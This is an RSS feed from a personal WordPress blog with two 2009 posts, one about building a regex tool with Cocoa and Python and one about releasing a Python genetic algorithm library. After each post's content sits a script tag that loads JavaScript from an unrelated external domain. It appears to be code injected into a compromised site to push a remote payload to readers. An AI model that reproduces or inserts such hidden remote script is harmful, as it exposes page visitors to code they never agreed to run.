<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ryan IRL &#187; Python</title>
	<atom:link href="http://ryanleland.com/category/python/feed/" rel="self" type="application/rss+xml" />
	<link>http://ryanleland.com</link>
	<description>I love technology.</description>
	<lastBuildDate>Mon, 26 Jul 2010 01:00:51 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Introducing: RegEx Chum</title>
		<link>http://ryanleland.com/2009/08/introducing-regex-chum/</link>
		<comments>http://ryanleland.com/2009/08/introducing-regex-chum/#comments</comments>
		<pubDate>Thu, 06 Aug 2009 04:41:04 +0000</pubDate>
		<dc:creator>Ryan Leland</dc:creator>
				<category><![CDATA[Cocoa]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false">http://ryanleland.com/?p=29</guid>
		<description><![CDATA[I just started working on my RexEx tool using Cocoa and Python. It&#8217;s been an interesting project so far due to only really picking up Python in the last month or so, but I&#8217;m still finding it very natural to use, and easy to write a ton of code with. I figured a RegEx tool [...]]]></description>
			<content:encoded><![CDATA[<p>I just started working on my RexEx tool using <a title="PyObjC" href="http://pyobjc.sourceforge.net/" target="_blank">Cocoa and Python</a>. It&#8217;s been an interesting project so far due to only really picking up Python in the last month or so, but I&#8217;m still finding it very natural to use, and easy to write a ton of code with. I figured a RegEx tool would be a useful app for myself, and a good way to get better with Python, and RegEx. I&#8217;m hoping I can have something people can download by next week so I can get some feedback, but as you can see I already have some basics in place.</p>
<p><div id="attachment_30" class="wp-caption aligncenter" style="width: 873px"><img class="size-full wp-image-30  " title="RexEx Chum" src="http://ryanleland.com/wp-content/uploads/2009/08/Picture-2.png" alt="Some early progress." width="863" height="514" /><p class="wp-caption-text">Some early progress</p></div><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://ryanleland.com/2009/08/introducing-regex-chum/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Genetix.py</title>
		<link>http://ryanleland.com/2009/07/genetix-py/</link>
		<comments>http://ryanleland.com/2009/07/genetix-py/#comments</comments>
		<pubDate>Mon, 13 Jul 2009 02:34:20 +0000</pubDate>
		<dc:creator>Ryan Leland</dc:creator>
				<category><![CDATA[AI]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false">http://ryanleland.com/?p=21</guid>
		<description><![CDATA[Finished the first version of the genetic algorithm library I&#8217;ve been working on lately. I originally had been working on it in C++, but the amount of fuss and frustration with my lack of knowledge in STL and compilers had started to waste my time. I have been wanting to get better with python for [...]]]></description>
			<content:encoded><![CDATA[<p>Finished the first version of the genetic algorithm library I&#8217;ve been working on lately. I originally had been working on it in C++, but the amount of fuss and frustration with my lack of knowledge in STL and compilers had started to waste my time. I have been wanting to get better with python for a while now, and had even started working on this new blog using django, but just couldn&#8217;t find the time to finish it.</p>
<p>Seems pretty amazing to me that I was able to port the library from C++ to python in a handful of hours on the weekend, but I guess that shows why so many smart people are using python. Anyway, the library is nothing amazing, but it is very powerful and simple. I still need to learn a few things about python, and make things a little more flexible, but I have put the <a href="http://github.com/intregus/Genetix.py/tree/master">library on github</a> under MIT license for anyone interested in using it. </p>
<p><a href="http://github.com/intregus/Genetix.py/tree/master">Genetix.py</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://ryanleland.com/2009/07/genetix-py/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
